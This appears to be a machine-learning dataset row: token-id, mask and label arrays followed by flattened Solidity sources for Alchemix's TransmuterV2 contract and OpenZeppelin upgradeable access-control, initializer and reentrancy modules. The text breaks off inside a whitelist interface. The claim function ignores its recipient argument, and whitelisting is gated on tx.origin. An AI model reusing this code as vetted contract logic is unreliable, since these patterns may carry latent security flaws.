| 1,022,329 | [
1,
10996,
30143,
309,
2064,
854,
4885,
1525,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
309,
261,
3890,
12,
7547,
2934,
2469,
405,
2130,
747,
1731,
12,
16215,
2934,
2469,
405,
6437,
13,
604,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.11;
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "./base/Errors.sol";
import "./interfaces/IWhitelist.sol";
import "./interfaces/transmuter/ITransmuterV2.sol";
import "./interfaces/transmuter/ITransmuterBuffer.sol";
import "./libraries/FixedPointMath.sol";
import "./libraries/LiquidityMath.sol";
import "./libraries/SafeCast.sol";
import "./libraries/Tick.sol";
import "./libraries/TokenUtils.sol";
/// @title TransmuterV2
///
/// @notice A contract which facilitates the exchange of synthetic assets for their underlying
// asset. This contract guarantees that synthetic assets are exchanged exactly 1:1
// for the underlying asset.
contract TransmuterV2 is ITransmuterV2, Initializable, ReentrancyGuardUpgradeable, AccessControlUpgradeable {
using FixedPointMath for FixedPointMath.Number;
using Tick for Tick.Cache;
struct Account {
// The total number of unexchanged tokens that an account has deposited into the system
uint256 unexchangedBalance;
// The total number of exchanged tokens that an account has had credited
uint256 exchangedBalance;
// The tick that the account has had their deposit associated in
uint256 occupiedTick;
}
struct UpdateAccountParams {
// The owner address whose account will be modified
address owner;
// The amount to change the account's unexchanged balance by
int256 unexchangedDelta;
// The amount to change the account's exchanged balance by
int256 exchangedDelta;
}
struct ExchangeCache {
// The total number of unexchanged tokens that exist at the start of the exchange call
uint256 totalUnexchanged;
// The tick which has been satisfied up to at the start of the exchange call
uint256 satisfiedTick;
// The head of the active ticks queue at the start of the exchange call
uint256 ticksHead;
}
struct ExchangeState {
// The position in the buffer of current tick which is being examined
uint256 examineTick;
// The total number of unexchanged tokens that currently exist in the system for the current distribution step
uint256 totalUnexchanged;
// The tick which has been satisfied up to, inclusive
uint256 satisfiedTick;
// The amount of tokens to distribute for the current step
uint256 distributeAmount;
// The accumulated weight to write at the new tick after the exchange is completed
FixedPointMath.Number accumulatedWeight;
// Reserved for the maximum weight of the current distribution step
FixedPointMath.Number maximumWeight;
// Reserved for the dusted weight of the current distribution step
FixedPointMath.Number dustedWeight;
}
struct UpdateAccountCache {
// The total number of unexchanged tokens that the account held at the start of the update call
uint256 unexchangedBalance;
// The total number of exchanged tokens that the account held at the start of the update call
uint256 exchangedBalance;
// The tick that the account's deposit occupies at the start of the update call
uint256 occupiedTick;
// The total number of unexchanged tokens that exist at the start of the update call
uint256 totalUnexchanged;
// The current tick that is being written to
uint256 currentTick;
}
struct UpdateAccountState {
// The updated unexchanged balance of the account being updated
uint256 unexchangedBalance;
// The updated exchanged balance of the account being updated
uint256 exchangedBalance;
// The updated total unexchanged balance
uint256 totalUnexchanged;
}
address public constant ZERO_ADDRESS = address(0);
/// @dev The identifier of the role which maintains other roles.
bytes32 public constant ADMIN = keccak256("ADMIN");
/// @dev The identitifer of the sentinel role
bytes32 public constant SENTINEL = keccak256("SENTINEL");
/// @inheritdoc ITransmuterV2
string public constant override version = "2.2.0";
/// @dev the synthetic token to be transmuted
address public syntheticToken;
/// @dev the underlying token to be received
address public override underlyingToken;
/// @dev The total amount of unexchanged tokens which are held by all accounts.
uint256 public totalUnexchanged;
/// @dev The total amount of tokens which are in the auxiliary buffer.
uint256 public totalBuffered;
/// @dev A mapping specifying all of the accounts.
mapping(address => Account) private accounts;
// @dev The tick buffer which stores all of the tick information along with the tick that is
// currently being written to. The "current" tick is the tick at the buffer write position.
Tick.Cache private ticks;
// The tick which has been satisfied up to, inclusive.
uint256 private satisfiedTick;
/// @dev contract pause state
bool public isPaused;
/// @dev the source of the exchanged collateral
address public buffer;
/// @dev The address of the external whitelist contract.
address public override whitelist;
/// @dev The amount of decimal places needed to normalize collateral to debtToken
uint256 public override conversionFactor;
constructor() initializer {}
function initialize(
address _syntheticToken,
address _underlyingToken,
address _buffer,
address _whitelist
) external initializer {
_setupRole(ADMIN, msg.sender);
_setRoleAdmin(ADMIN, ADMIN);
_setRoleAdmin(SENTINEL, ADMIN);
syntheticToken = _syntheticToken;
underlyingToken = _underlyingToken;
uint8 debtTokenDecimals = TokenUtils.expectDecimals(syntheticToken);
uint8 underlyingTokenDecimals = TokenUtils.expectDecimals(underlyingToken);
conversionFactor = 10**(debtTokenDecimals - underlyingTokenDecimals);
buffer = _buffer;
// Push a blank tick to function as a sentinel value in the active ticks queue.
ticks.next();
isPaused = false;
whitelist = _whitelist;
}
/// @dev A modifier which checks if caller is an alchemist.
modifier onlyBuffer() {
if (msg.sender != buffer) {
revert Unauthorized();
}
_;
}
/// @dev A modifier which checks if caller is a sentinel or admin.
modifier onlySentinelOrAdmin() {
if (!hasRole(SENTINEL, msg.sender) && !hasRole(ADMIN, msg.sender)) {
revert Unauthorized();
}
_;
}
/// @dev A modifier which checks if caller is a sentinel.
modifier notPaused() {
if (isPaused) {
revert IllegalState();
}
_;
}
function _onlyAdmin() internal view {
if (!hasRole(ADMIN, msg.sender)) {
revert Unauthorized();
}
}
function setCollateralSource(address _newCollateralSource) external {
_onlyAdmin();
buffer = _newCollateralSource;
}
function setPause(bool pauseState) external onlySentinelOrAdmin {
isPaused = pauseState;
emit Paused(isPaused);
}
/// @inheritdoc ITransmuterV2
function deposit(uint256 amount, address owner) external override nonReentrant {
_onlyWhitelisted();
_updateAccount(
UpdateAccountParams({
owner: owner,
unexchangedDelta: SafeCast.toInt256(amount),
exchangedDelta: 0
})
);
TokenUtils.safeTransferFrom(syntheticToken, msg.sender, address(this), amount);
emit Deposit(msg.sender, owner, amount);
}
/// @inheritdoc ITransmuterV2
function withdraw(uint256 amount, address recipient) external override nonReentrant {
_onlyWhitelisted();
_updateAccount(
UpdateAccountParams({
owner: msg.sender,
unexchangedDelta: -SafeCast.toInt256(amount),
exchangedDelta: 0
})
);
TokenUtils.safeTransfer(syntheticToken, recipient, amount);
emit Withdraw(msg.sender, recipient, amount);
}
/// @inheritdoc ITransmuterV2
function claim(uint256 amount, address recipient) external override nonReentrant {
_onlyWhitelisted();
_updateAccount(
UpdateAccountParams({
owner: msg.sender,
unexchangedDelta: 0,
exchangedDelta: -SafeCast.toInt256(_normalizeUnderlyingTokensToDebt(amount))
})
);
TokenUtils.safeBurn(syntheticToken, _normalizeUnderlyingTokensToDebt(amount));
ITransmuterBuffer(buffer).withdraw(underlyingToken, amount, msg.sender);
emit Claim(msg.sender, recipient, amount);
}
/// @inheritdoc ITransmuterV2
function exchange(uint256 amount) external override nonReentrant onlyBuffer notPaused {
uint256 normaizedAmount = _normalizeUnderlyingTokensToDebt(amount);
if (totalUnexchanged == 0) {
totalBuffered += normaizedAmount;
emit Exchange(msg.sender, amount);
return;
}
// Push a storage reference to the current tick.
Tick.Info storage current = ticks.current();
ExchangeCache memory cache = ExchangeCache({
totalUnexchanged: totalUnexchanged,
satisfiedTick: satisfiedTick,
ticksHead: ticks.head
});
ExchangeState memory state = ExchangeState({
examineTick: cache.ticksHead,
totalUnexchanged: cache.totalUnexchanged,
satisfiedTick: cache.satisfiedTick,
distributeAmount: normaizedAmount,
accumulatedWeight: current.accumulatedWeight,
maximumWeight: FixedPointMath.encode(0),
dustedWeight: FixedPointMath.encode(0)
});
// Distribute the buffered tokens as part of the exchange.
state.distributeAmount += totalBuffered;
totalBuffered = 0;
// Push a storage reference to the next tick to write to.
Tick.Info storage next = ticks.next();
// Only iterate through the active ticks queue when it is not empty.
while (state.examineTick != 0) {
// Check if there is anything left to distribute.
if (state.distributeAmount == 0) {
break;
}
Tick.Info storage examineTickData = ticks.get(state.examineTick);
// Add the weight for the distribution step to the accumulated weight.
state.accumulatedWeight = state.accumulatedWeight.add(
FixedPointMath.rational(state.distributeAmount, state.totalUnexchanged)
);
// Clear the distribute amount.
state.distributeAmount = 0;
// Calculate the current maximum weight in the system.
state.maximumWeight = state.accumulatedWeight.sub(examineTickData.accumulatedWeight);
// Check if there exists at least one account which is completely satisfied..
if (state.maximumWeight.n < FixedPointMath.ONE) {
break;
}
// Calculate how much weight of the distributed weight is dust.
state.dustedWeight = FixedPointMath.Number(state.maximumWeight.n - FixedPointMath.ONE);
// Calculate how many tokens to distribute in the next step. These are tokens from any tokens which
// were over allocated to accounts occupying the tick with the maximum weight.
state.distributeAmount = LiquidityMath.calculateProduct(examineTickData.totalBalance, state.dustedWeight);
// Remove the tokens which were completely exchanged from the total unexchanged balance.
state.totalUnexchanged -= examineTickData.totalBalance;
// Write that all ticks up to and including the examined tick have been satisfied.
state.satisfiedTick = state.examineTick;
// Visit the next active tick. This is equivalent to popping the head of the active ticks queue.
state.examineTick = examineTickData.next;
}
// Write the accumulated weight to the next tick.
next.accumulatedWeight = state.accumulatedWeight;
if (cache.totalUnexchanged != state.totalUnexchanged) {
totalUnexchanged = state.totalUnexchanged;
}
if (cache.satisfiedTick != state.satisfiedTick) {
satisfiedTick = state.satisfiedTick;
}
if (cache.ticksHead != state.examineTick) {
ticks.head = state.examineTick;
}
if (state.distributeAmount > 0) {
totalBuffered += state.distributeAmount;
}
emit Exchange(msg.sender, amount);
}
/// @inheritdoc ITransmuterV2
function getUnexchangedBalance(address owner) external view override returns (uint256 unexchangedBalance) {
Account storage account = accounts[owner];
if (account.occupiedTick <= satisfiedTick) {
return 0;
}
unexchangedBalance = account.unexchangedBalance;
uint256 exchanged = LiquidityMath.calculateProduct(
unexchangedBalance,
ticks.getWeight(account.occupiedTick, ticks.position)
);
unexchangedBalance -= exchanged;
return unexchangedBalance;
}
/// @inheritdoc ITransmuterV2
function getExchangedBalance(address owner) external view override returns (uint256 exchangedBalance) {
return _getExchangedBalance(owner);
}
function getClaimableBalance(address owner) external view override returns (uint256 claimableBalance) {
return _normalizeDebtTokensToUnderlying(_getExchangedBalance(owner));
}
/// @dev Updates an account.
///
/// @param params The call parameters.
function _updateAccount(UpdateAccountParams memory params) internal {
Account storage account = accounts[params.owner];
UpdateAccountCache memory cache = UpdateAccountCache({
unexchangedBalance: account.unexchangedBalance,
exchangedBalance: account.exchangedBalance,
occupiedTick: account.occupiedTick,
totalUnexchanged: totalUnexchanged,
currentTick: ticks.position
});
UpdateAccountState memory state = UpdateAccountState({
unexchangedBalance: cache.unexchangedBalance,
exchangedBalance: cache.exchangedBalance,
totalUnexchanged: cache.totalUnexchanged
});
// Updating an account is broken down into five steps:
// 1). Synchronize the account if it previously occupied a satisfied tick
// 2). Update the account balances to account for exchanged tokens, if any
// 3). Apply the deltas to the account balances
// 4). Update the previously occupied and or current tick's liquidity
// 5). Commit changes to the account and global state when needed
// Step one:
// ---------
// Check if the tick that the account was occupying previously was satisfied. If it was, we acknowledge
// that all of the tokens were exchanged.
if (state.unexchangedBalance > 0 && satisfiedTick >= cache.occupiedTick) {
state.unexchangedBalance = 0;
state.exchangedBalance += cache.unexchangedBalance;
}
// Step Two:
// ---------
// Calculate how many tokens were exchanged since the last update.
if (state.unexchangedBalance > 0) {
uint256 exchanged = LiquidityMath.calculateProduct(
state.unexchangedBalance,
ticks.getWeight(cache.occupiedTick, cache.currentTick)
);
state.totalUnexchanged -= exchanged;
state.unexchangedBalance -= exchanged;
state.exchangedBalance += exchanged;
}
// Step Three:
// -----------
// Apply the unexchanged and exchanged deltas to the state.
state.totalUnexchanged = LiquidityMath.addDelta(state.totalUnexchanged, params.unexchangedDelta);
state.unexchangedBalance = LiquidityMath.addDelta(state.unexchangedBalance, params.unexchangedDelta);
state.exchangedBalance = LiquidityMath.addDelta(state.exchangedBalance, params.exchangedDelta);
// Step Four:
// ----------
// The following is a truth table relating various values which in combinations specify which logic branches
// need to be executed in order to update liquidity in the previously occupied and or current tick.
//
// Some states are not obtainable and are just discarded by setting all the branches to false.
//
// | P | C | M | Modify Liquidity | Add Liquidity | Subtract Liquidity |
// |---|---|---|------------------|---------------|--------------------|
// | F | F | F | F | F | F |
// | F | F | T | F | F | F |
// | F | T | F | F | T | F |
// | F | T | T | F | T | F |
// | T | F | F | F | F | T |
// | T | F | T | F | F | T |
// | T | T | F | T | F | F |
// | T | T | T | F | T | T |
//
// | Branch | Reduction |
// |--------------------|-----------|
// | Modify Liquidity | PCM' |
// | Add Liquidity | P'C + CM |
// | Subtract Liquidity | PC' + PM |
bool previouslyActive = cache.unexchangedBalance > 0;
bool currentlyActive = state.unexchangedBalance > 0;
bool migrate = cache.occupiedTick != cache.currentTick;
bool modifyLiquidity = previouslyActive && currentlyActive && !migrate;
if (modifyLiquidity) {
Tick.Info storage tick = ticks.get(cache.occupiedTick);
// Consolidate writes to save gas.
uint256 totalBalance = tick.totalBalance;
totalBalance -= cache.unexchangedBalance;
totalBalance += state.unexchangedBalance;
tick.totalBalance = totalBalance;
} else {
bool addLiquidity = (!previouslyActive && currentlyActive) || (currentlyActive && migrate);
bool subLiquidity = (previouslyActive && !currentlyActive) || (previouslyActive && migrate);
if (addLiquidity) {
Tick.Info storage tick = ticks.get(cache.currentTick);
if (tick.totalBalance == 0) {
ticks.addLast(cache.currentTick);
}
tick.totalBalance += state.unexchangedBalance;
}
if (subLiquidity) {
Tick.Info storage tick = ticks.get(cache.occupiedTick);
tick.totalBalance -= cache.unexchangedBalance;
if (tick.totalBalance == 0) {
ticks.remove(cache.occupiedTick);
}
}
}
// Step Five:
// ----------
// Commit the changes to the account.
if (cache.unexchangedBalance != state.unexchangedBalance) {
account.unexchangedBalance = state.unexchangedBalance;
}
if (cache.exchangedBalance != state.exchangedBalance) {
account.exchangedBalance = state.exchangedBalance;
}
if (cache.totalUnexchanged != state.totalUnexchanged) {
totalUnexchanged = state.totalUnexchanged;
}
if (cache.occupiedTick != cache.currentTick) {
account.occupiedTick = cache.currentTick;
}
}
/// @dev Checks the whitelist for msg.sender.
///
/// @notice Reverts if msg.sender is not in the whitelist.
function _onlyWhitelisted() internal view {
// Check if the message sender is an EOA. In the future, this potentially may break. It is important that
// functions which rely on the whitelist not be explicitly vulnerable in the situation where this no longer
// holds true.
if (tx.origin != msg.sender) {
// Only check the whitelist for calls from contracts.
if (!IWhitelist(whitelist).isWhitelisted(msg.sender)) {
revert Unauthorized();
}
}
}
/// @dev Normalize `amount` of `underlyingToken` to a value which is comparable to units of the debt token.
///
/// @param amount The amount of the debt token.
///
/// @return The normalized amount.
function _normalizeUnderlyingTokensToDebt(uint256 amount) internal view returns (uint256) {
return amount * conversionFactor;
}
/// @dev Normalize `amount` of the debt token to a value which is comparable to units of `underlyingToken`.
///
/// @dev This operation will result in truncation of some of the least significant digits of `amount`. This
/// truncation amount will be the least significant N digits where N is the difference in decimals between
/// the debt token and the underlying token.
///
/// @param amount The amount of the debt token.
///
/// @return The normalized amount.
function _normalizeDebtTokensToUnderlying(uint256 amount) internal view returns (uint256) {
return amount / conversionFactor;
}
function _getExchangedBalance(address owner) internal view returns (uint256 exchangedBalance) {
Account storage account = accounts[owner];
if (account.occupiedTick <= satisfiedTick) {
exchangedBalance = account.exchangedBalance;
exchangedBalance += account.unexchangedBalance;
return exchangedBalance;
}
exchangedBalance = account.exchangedBalance;
uint256 exchanged = LiquidityMath.calculateProduct(
account.unexchangedBalance,
ticks.getWeight(account.occupiedTick, ticks.position)
);
exchangedBalance += exchanged;
return exchangedBalance;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/AccessControl.sol)
pragma solidity ^0.8.0;
import "./IAccessControlUpgradeable.sol";
import "../utils/ContextUpgradeable.sol";
import "../utils/StringsUpgradeable.sol";
import "../utils/introspection/ERC165Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable {
function __AccessControl_init() internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal onlyInitializing {
}
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
StringsUpgradeable.toHexString(uint160(account), 20),
" is missing role ",
StringsUpgradeable.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
import "../../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal onlyInitializing {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal onlyInitializing {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
uint256[49] private __gap;
}
pragma solidity ^0.8.11;
/// @notice An error used to indicate that an action could not be completed because either the `msg.sender` or
/// `msg.origin` is not authorized.
error Unauthorized();
/// @notice An error used to indicate that an action could not be completed because the contract either already existed
/// or entered an illegal condition which is not recoverable from.
error IllegalState();
/// @notice An error used to indicate that an action could not be completed because of an illegal argument was passed
/// to the function.
error IllegalArgument();
pragma solidity ^0.8.11;
import "../base/Errors.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "../libraries/Sets.sol";
/// @title Whitelist
/// @author Alchemix Finance
interface IWhitelist {
/// @dev Emitted when a contract is added to the whitelist.
///
/// @param account The account that was added to the whitelist.
event AccountAdded(address account);
/// @dev Emitted when a contract is removed from the whitelist.
///
/// @param account The account that was removed from the whitelist.
event AccountRemoved(address account);
/// @dev Emitted when the whitelist is deactivated.
event WhitelistDisabled();
/// @dev Returns the list of addresses that are whitelisted for the given contract address.
///
/// @return addresses The addresses that are whitelisted to interact with the given contract.
function getAddresses() external view returns (address[] memory addresses);
/// @dev Returns the disabled status of a given whitelist.
///
/// @return disabled A flag denoting if the given whitelist is disabled.
